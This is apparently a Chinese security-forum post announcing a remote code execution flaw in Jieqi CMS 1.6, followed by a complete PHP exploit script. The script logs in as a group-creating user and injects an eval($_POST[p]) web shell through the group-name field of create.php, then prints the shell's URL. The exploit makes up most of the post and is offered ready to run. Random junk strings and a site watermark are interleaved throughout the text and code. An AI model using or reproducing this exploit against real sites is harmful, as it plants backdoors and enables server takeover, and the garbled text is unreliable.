杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
) |# `/ @+ b) B
* I8 n. `* C7 w$ V; ^% ^: w+ p6 d
2 L2 E- j' Z% m+ |# l9 \' M' y该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
% p$ Z% U5 Y8 a' w1 T8 }' n- C 需要有一个能创建圈子的用户。3 g' A# a4 R4 Z1 Y; B" I$ a& F
" T) O( L2 l8 Y) y& w
<?php
( v3 z4 J+ z6 P; H* k: H# b- S8 h3 o
9 |4 `% c% K' n* Oprint_r('
_1 s" l* |( M+ w/ E. Q' u+---------------------------------------------------------------------------+
& l# D: _; {7 n7 I. n6 h3 YJieqi CMS V1.6 PHP Code Injection Exploit% s2 T6 x) B! N# z* i4 V b
by flyh4t& S0 h0 y5 b4 d& S, i! e% l
mail: phpsec at hotmail dot com, _/ ?* q% y, Z; A8 l* Y+ ~* Q
team: http://www.wolvez.org
+ @2 I l$ `7 i' t; C0 @+---------------------------------------------------------------------------+7 l+ b+ e5 [1 C) F4 g& l
'); /**
1 H% Q2 Q7 j+ f3 q, l8 G. m * works regardless of php.ini settings
9 | @' Y. w) V8 i9 l, V& i# ~*/ if ($argc < 5) { print_r('0 @0 ?; e- n* `( P+ z: z% i
+---------------------------------------------------------------------------+' \( m% e8 l; f2 G% f
Usage: php '.$argv[0].' host path username
! m2 T- l2 z$ ]) V. M& ghost: target server (ip/hostname)4 W1 Z4 \# y3 O6 ]
path: path to jieqicms
. K0 |9 P% N0 T# T* cuasename: a username who can create group
7 _" Z& m' U3 o# g n( B% SExample:. Z, k, z) B) l9 X
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password& ~" B V6 W3 H% n- {
+---------------------------------------------------------------------------+
1 X4 B' O: N$ Q'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
) V6 y. N8 }; G# lContent-Disposition: form-data; name="gname"
4 H6 ]1 n" h5 h! L ; G4 v: M1 ~# `2 `( O5 X) O
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
: Y7 s' e% p& t! E( {" k-----------------------------23281168279961
; V& o' j. s& N9 G0 [4 K1 |! i7 j5 gContent-Disposition: form-data; name="gcatid"
) K! h+ w3 j; S4 a1 S \* e
) ]) h1 q1 P5 X! z1
2 E# t& v0 J, j( F-----------------------------23281168279961
8 s- V; W/ u6 C% J: |% L# L/ yContent-Disposition: form-data; name="gaudit"
- e e7 ?* S# I' Y( W+ `! E
' w/ Z1 k( n0 D% h8 \1
R9 [; U+ g; @+ P' \; M-----------------------------23281168279961
. d9 I/ N" O) M% ]: |2 {4 u+ qContent-Disposition: form-data; name="gbrief") z+ o5 g% ~3 Z# v
j. z4 |( i( ^1 I1
+ K1 ~; W# R; r- n8 V-----------------------------23281168279961--2 d5 v: E: J0 x
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com* R' f- Q1 }! S0 K
1 h0 J4 c" L4 ^+ Q8 V L6 Z9 Gpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |